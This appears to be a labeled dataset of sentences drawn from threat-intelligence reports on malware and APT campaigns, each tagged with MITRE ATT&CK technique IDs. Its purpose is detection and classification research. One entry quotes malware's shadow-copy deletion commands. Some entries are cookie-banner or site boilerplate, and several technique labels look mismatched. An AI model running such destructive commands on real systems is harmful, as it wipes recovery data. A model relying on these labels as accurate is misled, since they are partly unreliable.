+This release adds features to spawn processes with an alternate parent process. This release also gives the operator control over the script templates Cobalt Strike uses in its attacks and workflows. This release of Cobalt Strike pushes back on this technique with the ppid command. For example, if I’m in a user context, I might set explorer.exe as my parent with something plausible (e.g, iexplore.exe) for my temporary processes. If I’m in a SYSTEM context, I might use services.exe as my parent process and ask Beacon to use svchost.exe for its temporary processes. Beacon’s runu command runs an arbitrary command as a child of another parent. These commands offer means to spawn a payload, in another desktop session, without remote process injection. The Resource Kit . Cobalt Strike 3.8’s Resource Kit finally gives you a way to change Cobalt Strike’s built-in script templates. The Resource Kit is a collection of Cobalt Strike’s default script templates and a sample Aggressor Script to bring these into Cobalt Strike. The Resource Kit benefits from new Aggressor Script hooks to provide the PowerShell, Python, and VBA script templates Cobalt Strike uses in its workflows	['T1078.003']
+2) Shell scripts used to launch the QEMU images. 3) Daemons used to start the shell scripts at boot and keep them running. 4) A CPU monitor shell script with an accompanying daemon that can start/stop the mining based on CPU usage and whether the Activity Monitor process is running	['T1057']
+It does so by monitoring the content of the clipboard and if the data seem to be a cryptocurrency wallet, it replaces them with the attacker’s own. This technique is not new; it has been used by other malware in the past – even the infamous BackSwap banking trojan implemented it in its earliest stages	['T1565.002']
+The data exchanged between the module and the C&C is encrypted with a proprietary algorithm and then encoded as readable latin characters	['T1132.002']
+In earlier attacks, the group used malicious Microsoft Word documents to infect victims, with compromised websites being added to the mix as a more recent attack vector	['T1566.001']
+It eventually downloads a PowerShell module from an Amazon S3 bucket URL hxxps://s3[.]amazonaws[.]com/doclibrarysales/test[.]txt and then executes it	['T1583.006', 'T1102']
+The script variant of the Helminth Trojan consists of a VBScript and PowerShell script named update.vbs and dns.ps1. We aptly named this variant the script version, as we found another version of this Trojan that we will discuss later in this Appendix	['T1059.005']
+C2 commands are represented as seemingly random alphanumerical ASCII strings (e.g. These dynamic updates to Goldmax configuration data enable ability to set a new activation date, replace the existing C2 URL and User-Agent values, enable/disable decoy network traffic feature, and update the number range used by its PRNG	['T1059.003']
+In order to meet the phishing emails’ infrastructure requirements, disposable domains and emails were used as the delivery medium. On occasions, the phishing emails contained links to external domains to download the first stage, and sometimes the first stage was attached to the email itself	['T1566.002']
+Once installed, JSSLoader provides the threat group with a backdoor to the victim’s computer and the organization	['T1204.002', 'T1047']
+To do so, this malware attempts to spread to other systems on network using what are likely stolen administrator credentials. This is again similar to the 2012 Shamoon attacks, where compromised but legitimate credentials obtained in advance of the attacks were also hard coded into the malware to aid in its propagation. Disttrack also has the ability to download and execute additional applications to the system, as well as remotely set the date to start wiping systems	['T1569.002']
+This data theft module appears to have been compiled in May 2015 and is designed to watch removable drives and collect files from them, depending on a set of rules defined by the attackers. The stolen data is copied into a hidden directory as “%MYPICTURES%\%volume serial number%“, from where it can be exfiltrated by the attackers using one of the AZZY implants	['T1074.001', 'T1025']
+The implant consists of a modified Cisco IOS image that allows the attacker to load different functional modules from the anonymity of the internet. Each of the modules are enabled via the HTTP protocol (not HTTPS), using a specifically crafted TCP packets sent to the routers interface. The packets have a nonstandard sequence and corresponding acknowledgment numbers. The modules can manifest themselves as independent executable code or hooks within the routers IOS that provide functionality similar to the backdoor password	['T1205']
+Spearphishing Attachment (ATT&CK T1193) is one of the most used Initial Access techniques used by ransomware families as in Sodinokibi. Attackers use spam emails with an attached MS Office Word document including a malicious macro to download the ransomware to the target system. In order to show the lifecycle of Sodinokibi ransomware, we analyzed a Microsoft Word document. Sodinokibi is a “Ransomware-as-a-Service (RAAS) malware, so its distribution methods vary depending on the attacker distributing it	['T1566.001']
+Collects information about the infected system, network, drives, and installed applications. Saves the collected information to a file named “info” in “%appdata%\Micorosoft\Templates” and sends it to the C2	['T1082']
+As can be seen from the Table 2 above, Kazuar has an extensive command set, many of which are similar in functionality as other backdoor Trojans. However, a few commands specific to Kazuar appear to be unique and are worth further discussion	['T1029']
+Adversaries aiming to exfiltrate large amounts of data will often use one or more systems or storage locations for intermittent storage of the collected data. This process is called staging and is one of the of the activities that NCC Group and Fox-IT has observed in the analysed C2 traffic	['T1560.001', 'T1074.001', 'T1074.002']
+The employee receiving this email downloaded and opened the document, which contained malicious code. Once the code was executed, a persistence mechanism was installed and a malicious password harvester was executed. In this instance, once the malicious code was executed, it dropped a malicious binary (DLL) similar to CobaltStrike, which subsequently created and executed additional files. The actor used the initially compromised system to escalate privileges and move laterally across additional systems on the network	['T1566.001']
+FANCY BEAR adversary used different tradecraft, deploying X-Agent malware with capabilities to do remote command execution, file transmission and keylogging. It was executed via rundll32 commands such as	['T1059.003', 'T1059', 'T1218.011']
+Lucifer is quite powerful in its capabilities. Not only is it capable of dropping XMRig for cryptojacking Monero, it’s also capable of command and control (C2) operation and self-propagation through the exploitation of multiple vulnerabilities and credential brute-forcing. Additionally, it drops and runs EternalBlue, EternalRomance, and DoublePulsar backdoor against vulnerable targets for intranet infections	['T1210']
+We have rounded up 220 samples of the CARBANAK backdoor and compiled a table that highlights some interesting details that we were able to extract. It should be noted that in most of these cases the backdoor was embedded as a packed payload in another executable or in a weaponized document file of some kind. The MD5 hash is for the original executable file that eventually launches CARBANAK, but the details of each sample were extracted from memory during execution. This data provides us with a unique insight into the operational aspect of CARBANAK and can be downloaded here	['T1055.002']
+The execution chain ensures that persistence is set on the affected system using a .lnk file in the Startup directory. The .lnk file shown in Figure 17 opens the malicious VBS dropped on the system	['T1547.001']
+In the final stage of its attacks, the TeleBots group always used the KillDisk malware to overwrite files with specific file extensions on the victims’ disks. The KillDisk malware used in the first wave of December 2016 attacks, instead of encrypting, simply overwrites targeted files	['T1485']
+If that configuration is not available, it utilizes a hardcoded configuration in the binary. The tool uses a custom binary protocol over sockets for its command and control communication with the GUP Proxy Tool and all transferred data is encrypted using a modified version of RC4 encryption	['T1095']
+The implant receives HTTP-based commands from a control server and parses the HTTP Content-Type and Content-Length from the HTTP header. If the HTTP Content-Type matches the following value, then the implant executes the command specified by the control server	['T1071.001']
+The compressed_data field is compressed using the common ZLIB compression algorithm. Additionally, in the event data is being sent via HTTP rather than HTTPS, the following additional encryption algorithm is applied to the POST data	['T1560.002', 'T1573.001']
+The macro creates a copy of the files with their proper extensions using Extensible Storage Engine Utilities (esentutil.exe) with the following commands (esentutil.exe is also a legitimate program that is pre-installed in Windows	['T1036']
+At the second stage, the attackers remotely connected to the device and scanned the local network seeking to gain access to public shared folders, web servers, and any other open resources. The aim was to harvest information about the network, above all, servers and workstations used for making payments. If the firewall blocked access from one segment of the network to another, but allowed a reverse connection, the attackers used a different payload to build tunnels	['T1135']
+Before being deleted, the DLL executes a string decoding routine that is designed to execute for about a minute, spiking central processing unit (CPU) usage for the regsvr32.exe process. Once the strings are decoded, the More_eggs components are decrypted, dropped to the system (normally in the %APPDATA%\Microsoft\ or %ProgramData%\Microsoft\ directories) and executed	['T1140']
+The very narrow and specific set of email identifiers and organizations observed by CTU researchers strongly indicate that the campaign is focused on U.S. Based on the identified targets, CTU researchers assess with low confidence that a Russian government-sponsored threat group may be responsible for this campaign. Third-party researchers attribute this campaign to the Russia-based IRON RITUAL threat group (also known as NOBELIUM and APT29). IRON RITUAL has been linked to the SUNBURST malware used in the SolarWinds supply chain attack	['T1566.002']
+Then the article describes how, since the beginning of 2019, the group has been leveraging self-extracting archives to run code	['T1053.005', 'T1218.010', 'T1027']
+Finally, the loader spawns cmd.exe to perform a series of reconnaissance commands to obtain information about the network and domain	['T1482', 'T1059.003']
+The checks are done in an obfuscated way within the jumble of the code that the malware has (in the virtual machine used here the Spanish language of Spain (es-ES) was used; it is the code 0xC0A that appears in the stack in the screenshot	['T1082']
+Gather the names of all services running on the system. Gather a list of the names of all processes running on the endpoint. Get Microsoft Version Number from the registry, specifically from reg key/value: HKEY_CLASSES_ROOT\Excel.Application\CurVer||Default. The instrumentor script also enables all macros for Office by setting the VBAWarnings registry value to 0x1 at: HKCU\Software\Microsoft\Office\<OfficeVersionNumber>.0\Word\Security\VBAWarnings = 0x1	['T1012']
+It also creates a folder in C:\SDRSMLINK\ and shares this folder with the rest of the network	['T1547.001', 'T1564.006']
+In october 2016 Group-IB published the report about the Cobalt group. Now, a year later, this group is continuing to attack banks, which is reported monthly by Group-IB's Threat Intelligence team. Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. However, some of the email addresses belong to employees that no longer work at the organization, which means that the Cobalt group likely uses out-of-date mailing lists. Provision of the malware survivability The Cobalt group uses different methods to ensure malware survivability on corporate networks. From our experience, the Cobalt group uses a new method to provide its survivability in every attack. The former module is installed on a system that has access to the Internet and provides interaction with the C&C server using HTTP/HTTPS/DNS protocols. Another module is installed even in systems that do not have Internet access, as, using SMB protocol (which is typically used within a local network), the SMB module is controlled via infected computers running the HTTP/HTTPS/DNS module. For interaction on HTTPS protocol, HTTP protocol profiles may be used with an indicated SSL certificate, but for data exchange on the DNS protocol, it requires DNS A, AAAA, and TXT records. Conclusion After infecting one computer on an organization's network, the Cobalt group analyzes the programs used on it and search for critical servers and the computers from which they are accessed	['T1021.001']
+We recently observed an instance where the FlawedAmmyy downloader was not digitally signed (FlawedAmmyy RAT payload is still signed, however). It could be a blip — perhaps a one-off — but it's still notable	['T1553.002']
+Its sole purpose is to load setup.dll using LoadLibraryA. If not, it will attempt to obtain such privileges using token impersonation if the version of Windows is below Windows 7 build 7601; otherwise it will attempt different UAC bypass techniques, allowing installation of the payload loader into one of	['T1548.002']
+Most of the infected sites use the TYPO3 CMS (see: https://typo3.org/), which could indicate the attackers are abusing a specific vulnerability in this publishing platform	['T1071.001']
+In the past, Emissary Panda has used many ways to target their victims, with the most notable being the exploits from the Hacking Team leak. Usually, the delivered payload is either the well-known ‘PlugX’ or ‘HttpBrowser’ RAT, a tool which is believed to have Chinese origins and to be used only by certain Chinese hacking groups	['T1027']
+Both RATs provide a wide range of functionality on the target machine, ranging from collecting files, watching the screen, to capturing passwords and keystrokes. The RATs also enable the operator to remotely delete files, and spy on the computer user via the microphone or webcam	['T1070.004']
+A copy of the initial EXE for GuLoader is made persistent, then the original is deleted from the infected user’s AppData\Local\Temp directory where it was originally saved. The GuLoader EXE is persistent through the Windows Registry under the following key	['T1547.001']
+And, of course, the attackers added the ability to control the infected machine. The code receives a binary blob official M.E.Doc server, decrypts it using the Triple DES algorithm, and, afterwards, decompresses it using GZip. The result is an XML file that could contain several commands at once. This remote control feature makes the backdoor a fully-featured cyberespionage and cybersabotage platform at the same time	['T1070.004']
+mailsearcher32 module This module searches the infected system’s files to gather email addresses for information-stealing purposes. Emotet, according to previous research by Brad Duncan, is also responsible for delivering this password-grabbing Trickbot variant, as well as Azorult, to users	['T1083', 'T1087.003']
+Otherwise, it will add the binary’s path to the Software\Microsoft\Windows\CurrentVersion\Run key with —Update as a parameter	['T1547.001']
+Once an attacker has admin access to a Domain Controller, the KRBTGT account password hashes can be extracted using Mimikatz	['T1550.003']
+The persistence mechanisms also change, offering the options to use XDG Autostart Entries and crontabs for persistence. We’ve waxed lyrical about crontabs before, but we haven’t explored XDG Autostart Entries in detail	['T1547.013']
+browser history from Firefox, Google Chrome, Microsoft Edge and Internet Explorer; - usernames and passwords stored in the listed browsers; - email accounts from Microsoft Outlook and Mozilla Thunderbird	['T1555.003', 'T1087.003']
+After using RTF files, the group started using self-extracting (SFX) archives that use common document icons in an attempt to further mislead their victims. It was briefly documented by Threatbook (in Chinese). When run, these self-extracting RAR files drop and execute DLL files (with a .ocx extension) with the final payload being the previously documented {A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll. This section will describe the technique and what they have altered to achieve their goal	['T1547.001']
+H1N1 has added a plethora of new functionality in comparison to earlier reports. Throughout this blog series we will be analyzing the capabilities of H1N1 including: obfuscation, a User Account Control (UAC) bypass, information stealing, data exfiltration, loader/dropper, and self-propagation/lateral movement techniques used by this variant.1,2	['T1027']
+Attempted to blend in with a file name that matched the system name it resided on - Configured for persistence via a crontab entry with a @reboot line - Used likely compromised infrastructure for C2	['T1036.005', 'T1036']
+RAR archiving – files are transferred to staging servers before exfiltration. They may be encrypted or compressed, to make them easier to extract. Certutil – a command-line utility that can be exploited and used for various malicious purposes, such as to decode information, to download files, and to install browser root certificates. Adfind – a command-line tool that can be used to perform Active Directory queries. Csvde – can be used to extract Active Directory files and data. Ntdsutil – can be used as a credential-dumping tool. WMIExec – can be used for lateral movement and to execute commands remotely. It can be used to find information and execute code, and is frequently abused by malicious actors	['T1560.001']
+In order to collect even more information, from time to time the Zebrocy operators upload and use dumpers on victims’ machines. The current dumpers have some similarities with those previously used by the group. In this case, Yandex Browser, Chromium, 7Star Browser (a Chromium-based browser), and CentBrowser are targeted, as well as versions of Microsoft Outlook from 1997 through 2016	['T1555.003']
+It also moves the JS file to ‘Shell.NameSpace(28)’ (‘ssfLOCALAPPDATA’ – ‘\AppData\Local’) and creates a scheduled task to use WScript to execute the file at every user log on. The installation routine then copies the keylogger to the registry, sets the uid + 0 flag to 1 to indicate that installation was completed, and executes the scheduled task it created	['T1053.005']
+BADFLICK: a backdoor that is capable of modifying the file system, generating a reverse shell, and modifying its command and control (C2) configuration. China Chopper: a simple code injection webshell that executes Microsoft .NET code within HTTP POST commands. This allows the shell to upload and download files, execute applications with web server account permissions, list directory contents, access Active Directory, access databases, and any other action allowed by the .NET runtime	['T1059.004']
+Then, the malware loads an executable file from WM_DSP resource and runs a shellcode that contains approximately1500 bytes (after decrypting it with XOR 0x45	['T1140']
+Kimsuky uses memory dump programs instead of using well-known malicious software and performs the credential extraction offline. It can be used as a general process dump utility that actors can embed in other scripts, as seen by Kimsuky’s inclusion of ProcDump in the BabyShark malware. The victim is then redirected to the official Chrome Web Store page to install a Chrome extension, which has the ability to steal cookies and site passwords and loads a JavaScript file, named jQuery.js, from a separate site (see figure 3).[51(link is external	['T1204.002', 'T1555.003']
+The impact of finding this implant on your network is severe and most likely indicates the presence of other footholds or compromised systems. This backdoor provides ample capability for the attacker to propagate and compromise other hosts and critical data using this as a very stealthy beachhead	['T1556.004']
+InvisiMole is capable of scanning enabled wireless networks on the compromised system. It records information such as the SSID and MAC address of the visible Wi-Fi access points	['T1016']
+Besides the stolen data, it sends the Windows product name and version, username, computer name, and domain name to the C&C server	['T1082']
+The implant has the capability of gathering data from the victim’s system. The following information will be gathered and sent to the command and control server	['T1560.002']
+The threat actors also collected the files “ntds.dit” and the “SYSTEM” registry hive. DHS observed the threat actors compress all of these files into archives named “SYSTEM.zip” and “comps.zip	['T1560']
+Malicious Word .doc file Besides the .pps file, the threat actor uses rich text files to deliver the malware. While other researchers have reported that these files exploit CVE-2012-0158, Symantec has also observed CVE-2015-1641 being exploited to drop Backdoor.Steladok	['T1189', 'T1203']
+"Quickly after the initial compromise, the operator deploys a tool named ""dog.exe. This malware is written in .NET and its purpose is to monitor hard drive paths and to exfiltrate the information via an email account or an FTP, depending on the configuration. The configuration file is named dconf.json"	['T1048']
+Stealth Falcon demonstrates some familiarity with the patterns of behavior, interests, and activities of its targets, suggesting that the operators may have been working with other sources of information about their targets’ behaviors. In addition, Stealth Falcon displayed above-average operational security throughout the campaign. Stealth Falcon also shows familiarity with creating and maintaining a range of fictitious personas, and registering and managing a significant amount of attack and C2 infrastructure with concern for operational security	['T1041']
+The malware families used in this campaign consisted mainly of malicious documents featuring CARROTBAT downloaders with SYSCON payloads, but also included a new malware downloader Unit 42 has dubbed CARROTBALL	['T1204.002']
+Upon execution, the payload injects into iexplore.exe process and starts encrypting text files and documents of the victim machine	['T1055']
+GOLD CABIN uses malicious documents, often contained in password-protected archives, delivered through email to download and execute payloads. The second-stage payloads are most frequently Gozi ISFB (Ursnif) or IcedID (Bokbot), sometimes using intermediary malware like Valak. GOLD CABIN infrastructure relies on artificial appearing and frequently changing URLs created with a domain generation algorithm (DGA). The URLs host a PHP object that returns the malware as a DLL file.ToolsTaegis™ XDR Adversary Software Coverage Tool	['T1568.002']
+Using valid credentials, CARBON SPIDER moves laterally through victim environments using RDP and occasionally SSH. Occasionally, CARBON SPIDER has deployed the legitimate GoToAssist or TightVNC tools to provide redundant control of hosts	['T1078']
+The Gamaredon group uses a package that includes a custom Microsoft Outlook Visual Basic for Applications (VBA) project. Using Outlook macros to deliver malware is something we rarely see while investigating malicious campaigns	['T1106', 'T1218.011', 'T1120', 'T1059.005']
+Numerous other similarities are present in addition to system reconnaissance methods; the communication mechanism uses the same user agent string as Gold Dragon	['T1071.001']
+Proofpoint researchers frequently observe Silent Librarian’s phishing attempts originating from a university unrelated to their current target using a separate, unrelated university’s URL shortening service. This short URL links to a phishing landing page either directly or via one or more third-party sites that eventually lands the user on a clone of a login portal hosted on an actor-controlled server	['T1588.002', 'T1598.003', 'T1608.005']
+The functional payload is a DLL compiled on 2019-03-11 02:23:54, which has two functionalities depending if the binary has a command line argument -daemon or -worker passed to it. The daemon functionality handles the C2 communications portion of the Trojan, which is configured to communicate with 185.12.45[.]134 over HTTPS using the following URL	['T1071.001']
+An official website of the United States government . Here’s how you know . Official websites use .gov A .gov website belongs to an official government organization in the United States. Secure .gov websites use HTTPS A lock (LockA locked padlock) or https:// means you’ve safely connected to the .gov website. O’Reilly of the Defense Criminal Investigative Service (DCIS) of the U.S. Among other things, Zhu and Zhang registered IT infrastructure that the APT10 Group used for its intrusions and engaged in illegal hacking operations. The indictment alleges that the defendants were part of a group that hacked computers in at least a dozen countries and gave China’s intelligence service access to sensitive business information,” said Deputy Attorney General Rosenstein. It's going to take all of us working together to protect our economic security and our way of life, because the American people deserve no less. The APT10 Group used some of the same online facilities to initiate, facilitate and execute its campaigns during the conspiracy. Earlier, beginning in or about 2006, members of the APT10 Group, including Zhu and Zhang, engaged in an intrusion campaign to obtain unauthorized access to the computers and computer networks of more than 45 technology companies and U.S. To avoid antivirus detection, the malware was installed using malicious files that masqueraded as legitimate files associated with the victim computer’s operating system. Such malware enabled members of the APT10 Group to monitor victims’ computers remotely and steal user credentials	['T1199']
+The Iranian attacker group (APT35) and the Chinese attacker group (APT31) targeted campaign staffers’ personal emails with credential phishing emails and emails containing tracking links. As part of our wider tracking of APT31 activity, we've also seen them deploy targeted malware campaigns	['T1598']
+PLEAD and KIVARS, for instance, share the use of RTLO techniques to disguise their installers as documents. Both also use decoy documents to make the RTLO attack more convincing. Another similarity is the use of a small loader component to load encrypted backdoors into memory	['T1204.002']
+"Nyetya requires user credentials to spread itself laterally via the PsExec and WMI vectors (which are detailed in the ""Malware Functionality"" section). Talos has identified three ways Nyetya can obtain these credentials. First, credentials can be manually passed in via a command line argument"	['T1078.003']
+Often service accounts are members of Domain Admins (or equivalent) or a Domain Admin was recently logged on to the computer an attacker dump credentials from. Using these credentials, an attacker can gain access to a Domain Controller and get all domain credentials, including the KRBTGT account NTLM hash which is used to create Kerberos Golden Tickets	['T1550.003']
+Analysis of the threat actor’s indicators of compromise (IOCs) and tactics, techniques, and procedures (TTPs) indicates a correlation with the group known by the names, Pioneer Kitten and UNC757. This threat actor has been observed exploiting several publicly known Common Vulnerabilities and Exposures (CVEs) dealing with Pulse Secure virtual private network (VPN), Citrix NetScaler, and F5 vulnerabilities. This threat actor used these vulnerabilities to gain initial access to targeted networks and then maintained access within the successfully exploited networks for several months using multiple means of persistence	['T1190']
+The touch utility sets the modification and access times of files. If any file does not exist, it is created with default permissions. This makes the utility useful to malware in two common scenarios: for creating an empty file at a given path that is later passed data, and/or for changing the timestamp on a file as a means of evasion, also known as “timestomping	['T1222.002']
+For the rest, we acknowledge that the subdomains used could be indicative of the target; they could also be used to go after third parties that might trust those organizations	['T1583.001']
+Both backdoors target Arabic-speaking users. They use code that checks if the compromised machine has the Arabic language installed	['T1614.001', 'T1614.001']
+Digital delivery of over 3,000 APT1 indicators, such as domain names, and MD5 hashes of malware. Thirteen (13) X.509 encryption certificates used by APT1. A set of APT1 Indicators of Compromise (IOCs) and detailed descriptions of over 40 malware families in APT1's arsenal of digital weapons. IOCs that can be used in conjunction with Redline™, Mandiant's free host-based investigative tool, or with Mandiant Intelligent Response® (MIR), Mandiant's commercial enterprise investigative tool	['T1036.005']
+Doki uses a previously undocumented method to contact its operator by abusing the Dogecoin cryptocurrency blockchain in a unique way in order to dynamically generate its C2 domain address. The malware has managed to stay under the radar for over six months despite samples being publicly available in VirusTotal	['T1102']
+Using job opportunities as template is the known method used by Lazarus to target its victims. The documents created by this actor are well designed and contain a large icon for a known company such as LockHeed Martin, BAE Systems, Boeing and Northrop Grumman in the template. In this campaign the actor has targeted people that are looking for job opportunities at Lockheed Martin. Targeting the defense industry and specifically Lockheed Martin is a known target for this actor	['T1566.001']
+Since this malicious extension is trying to pass for a legitimate Chrome plugin, Grandoreiro’s developer named it “Google Plugin” version 1.5.0. Visually, it adds a square button to the browser window instead of the “cookie” button on the original plugin	['T1176']
+Before writing a keystroke to the log, the malware obtains the current locale identifier using the ‘GetKeyboardLayout’ API. The retrieved value is checked against several hardcoded paths in which the low DWORD is set to 0x0429	['T1614.001']
+According to the public source data, these airlines use services of the same IT service provider. To help companies detect and hunt for ColunmTK, we have provided a full list of indicators of compromise (IOCs) that we retrieved. It came to light that the cyberattack on this IT service provider affected 4,500,000 data subjects globally, including data related to Air India's customers. ColunmTK Timeline Connections with APT41 Group-IB researchers believe with moderate confidence that the ColunmTK campaign was carried out by APT41, a prolific Chinese-speaking nation-state threat actor. APT41, also known as WICKED SPIDER (PANDA), Winnti Umbrella, and BARIUM, is believed to have been engaging in state-sponsored espionage in China's interests as well as committing financially motivated cybercrimes. APT41 is known for stealing digital certificates for its cyber espionage operations. The IP address was also used to host the Cobalt Strike framework and shared an SSL certificate, b3038101fd0e8b11c519f739f12c7e9b60234d3b, with ColunmTK's IP address 185[.]118[.]166[.]66. Source: Group-IB Threat Intelligence & Attribution Another interesting domain is service[.]dns22[.]ml. In both cases, the files were used to establish persistence in the network. The files are very similar in the way they launch a DLL file as a service and create keys in the registry	['T1543.003']
+FireEye Intelligence has previously reported that APT33 has ties to destructive malware, and they pose a heightened risk to critical infrastructure. This risk is pronounced in the energy sector, which we consistently observe them target. That targeting aligns with Iranian national priorities for economic growth and competitive advantage, especially relating to petrochemical production	['T1110.003']
+Given Lazarus’ use of a wide array of tools and techniques in their operations, it’s reasonable to assume that the group will continue to use ever-evolving tactics in their malicious activities. Overall, an organization will need multilayered security strategies, as Lazarus and other similar groups are experienced cybercriminals who employ different strategies to get past organizational defenses	['T1189']
+"After the wiping procedure, the malware tries to delete the shadow copies by running the following commands: vssadmin.exe delete shadows /all /quiet **and **C:\\Windows\\system32\\wbem\\wmic.exe shadowcopy delete. Finally, the malware enters an infinite loop where it sleeps based on the is_alive_loop_interval value from the configuration file and writes ""Meteor is still alive"	['T1047']
+As can be seen above, the script gathers OS version, a session UID and machine ID, all of which it posts to the server for processing	['T1082']
+According to the public source data, these airlines use services of the same IT service provider. It came to light that the cyberattack on this IT service provider affected 4,500,000 data subjects globally, including data related to Air India's customers. Compromise of Air India's network In mid-February 2021, Group-IB's Threat Intelligence & Attribution system detected infected devices that were part of Air India's computer network. It took the attackers 24 hours and 5 minutes to spread Cobalt Strike beacons to other devices in the airline's network. ColunmTK Timeline Connections with APT41 Group-IB researchers believe with moderate confidence that the ColunmTK campaign was carried out by APT41, a prolific Chinese-speaking nation-state threat actor. According to Group-IB's Threat Intelligence & Attribution system, the threat actor has been active since at least 2007. APT41 is known for stealing digital certificates for its cyber espionage operations. The IP address was also used to host the Cobalt Strike framework and shared an SSL certificate, b3038101fd0e8b11c519f739f12c7e9b60234d3b, with ColunmTK's IP address 185[.]118[.]166[.]66. The file is very similar to one used by APT41 in a different campaign described by FireEye researchers. The files are very similar in the way they launch a DLL file as a service and create keys in the registry	['T1569.002']
+Additionally, the attackers used a genuine code-signing certificate issued to a Cyprus-based company called Hermetica Digital Ltd	['T1553.002']
+We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. This is beneficial for the website, in order to make valid reports on the use of their website.Expiry: PersistentType: HTMLrc::cThis cookie is used to distinguish between humans and bots. Expiry: SessionType: HTMLKaspersky Lab2Learn more about this providertest [x2]Used to detect if the visitor has accepted the marketing category in the cookie banner. Expiry: SessionType: HTTPMarketo2Learn more about this provider__cf_bmThis cookie is used to distinguish between humans and bots. Expiry: 2 yearsType: HTTP25 Marketing cookies are used to track visitors across websites. This can be used for marketing purposes. This is used in context with the email marketing service Marketo.com, which allows the website to target visitors via email	['T1078']
+Use automated methods, such as scripts, for collecting data (Automated Collection [T1119]) - Capture user input to obtain credentials and collect information (Input Capture [T1056]) - Collect local systems data from a compromised system (Data from Local System [T1005]) - Take screen captures of the desktop (Screen Capture [T1113]) - Collect data stored in the Windows clipboard from users (Clipboard Data [T1115	['T1005']
+A service DLL (loaded by svchost.exe) with a ServiceMain function typically named NetSetupServiceMain - A standard non-Service DLL loaded by rundll32.exe	['T1558.003']
+OSX/Keydnap uses a Tor2Web proxy for command and control. An installed launch agent, icloudproc, is automatically started by the OS, and listens on 127.0.0.1:9050. As noted by ESET, the main backdoor component (icloudsyncd) uses this proxy for communication purposes: “Keydnap is using the onion.to Tor2Web proxy over HTTPS to report back to its C&C server	['T1543.001']
+Communication over DNS tunnel with a hardcoded domain name and DGA-generated subdomain - C2 traffic encrypted with RSA-2048 - Custom AES-encrypted storage format used to store configuration, plugins, and harvested data - Unique version number for each sample	['T1071.004', 'T1027']
+Volexity is seeing active in-the-wild exploitation of multiple Microsoft Exchange vulnerabilities used to steal e-mail and compromise networks. In January 2021, through its Network Security Monitoring service, Volexity detected anomalous activity from two of its customers' Microsoft Exchange servers. This vulnerability is remotely exploitable and does not require authentication of any kind, nor does it require any special knowledge or access to a target environment. Additionally, Volexity is providing alternative mitigations that may be used by defenders to assist in securing their Microsoft Exchange instances. This vulnerability has been confirmed to exist within the latest version of Exchange 2016 on a fully patched Windows Server 2016 server. Volexity also confirmed the vulnerability exists in Exchange 2019 but has not tested against a fully patched version, although it believes they are vulnerable. There are two methods to download e-mail with this vulnerability, depending on the way that Microsoft Exchange has been configured. In the case where a single server is being used to provide the Exchange service, Volexity believes the attacker must know the targeted user’s domain security identifier (SID) in order to access their mailbox. Further other notable User-Agent entries tied to tools used for post-exploitation access to webshells. Network Indicators - Attacker IPs . Volexity has observed numerous IP addresses leveraged by the attackers to exploit the vulnerabilities described in this blog	['T1190']
+The analyzed sample of NotPetya encrypts the compromised system’s files with a 128-bit Advanced Encryption Standard (AES) algorithm during runtime. The malware then writes a text file on the “C:\” drive that includes a static Bitcoin wallet location as well as unique personal installation key intended for the victim to use when making the ransom payment and the user’s Bitcoin wallet ID. NotPetya modifies the master boot record (MBR) to enable encryption of the master file table (MFT) and the original MBR, and then reboots the system. Based on the encryption methods used, it appears unlikely that the files could be restored, even if the attacker received the victim’s unique key and Bitcoin wallet ID	['T1486']
+The campaigns use a TrickBot downloader that is signed and uses an icon to pretend it is a Microsoft Word document. When the user double-clicks the file, they are presented with a decoy message box. To avoid suspicion, the decoy message suggests the user should update Microsoft Word or open the file from another computer	['T1555.003']
+To achieve privilege escalation within the environment, FIN6 utilized a named pipe impersonation technique included within the Metasploit framework that allows for SYSTEM-level privilege escalation	['T1134']
+It then calls the API EnumWindows() function to enumerate all windows from the victim’s system. Its EnumFunc() callback function collects all windows titles and then adds a 14H long random string prefix. One mixed windows title looks like this: “{14H long random string}+windows title”. All the mixed windows titles are added into a string list box control	['T1010']
+As my analysis in the previous blog showed, Agent Tesla is a spyware. It monitors and collects the victim’s keyboard inputs, system clipboard, screen shots of the victim’s screen, as well as collects credentials of a variety of installed software. So far, through my quick analysis, this version is similar to the older one	['T1082']
+We’ve seen the adversary staging data on a remote system or on the local system. Most of the times the data is compressed and copied at the same time. Only a handful of times the adversary copies the data first before compressing (archive collected data) and exfiltrating it. The adversary compresses and encrypts the data by using WinRAR from the command-line	['T1124']
+A macro in the Microsoft Word document contained the malicious code designed to download and execute additional malicious software on the infected system	['T1566.001', 'T1566.001']
+PACT has reverse engineered the DGA, dynamically analyzed the malware, investigated the Threat Actor’s (TA) web-based infrastructure, and consolidated the results of our analysis into the following report	['T1070.004']
+"From September to December 2018 the RTM group sent out more than 11,000 malicious emails. The cybercriminals, however, are not going to stop there, as evidenced by the new malicious campaigns that we track as part of our ongoing threat intelligence activities. Where do we begin our search. Let's start with simple things: we will take the NTUSER.DAT registry file with the latest modification date from the user directory (C:\Users\%username%\), and extract data from it using RegRipper. In general, you do not have to stick to the Sleuth Kit at all; there are more convenient tools like FTK Imager, a free tool, which can be used not only to create forensic images, but also to examine their contents. Let's take a closer look at apg.exe and use PPEE: This looks like TeamViewer and is signed as TeamViewer, so does this mean it indeed is TeamViewer. Judging by the file's size, it has nothing to do with the original msi.dll, so it is clearly DLL Search Order Hijacking. The operating system starts searching for the necessary libraries from the current directory, which means that instead of the legitimate msi.dll, the one located in b7mg81 will be loaded. Another interesting file is TeamViewer.ini: Here is anti-forensics: according to the configuration file, our ""TeamViewer"" did not keep any logs, and was apparently used as a RAT (Remote Access Trojan). Well, not bad. I think what we can use the Sleuth Kit again"	['T1574.001']
+The attackers orchestrate attacks using batch or PowerShell scripts that are executed, with the help of domain controllers, on any machine the DC can reach. The scripts retrieve the attackers’ payloads using psexec or certutil	['T1105', 'T1569.002', 'T1059.003']
+Note that the browser itself is not hooked. Executing the browser from any other Chrome shortcut link will start and run it normally without the malicious extension, canceling out the malware’s ability to control what the victim does	['T1547.009']
+The Epic backdoors are commanded by a huge network of hacked servers that deliver command and control functionality	['T1049']
+"Capture current screen (screenshot) and save screenshot as a JPEG to ""C:\ProgramData\tsc"". The contents of the file are subsequently read and sent to the C2. Code to capture a screenshot as bitmap and save to file"	['T1113']
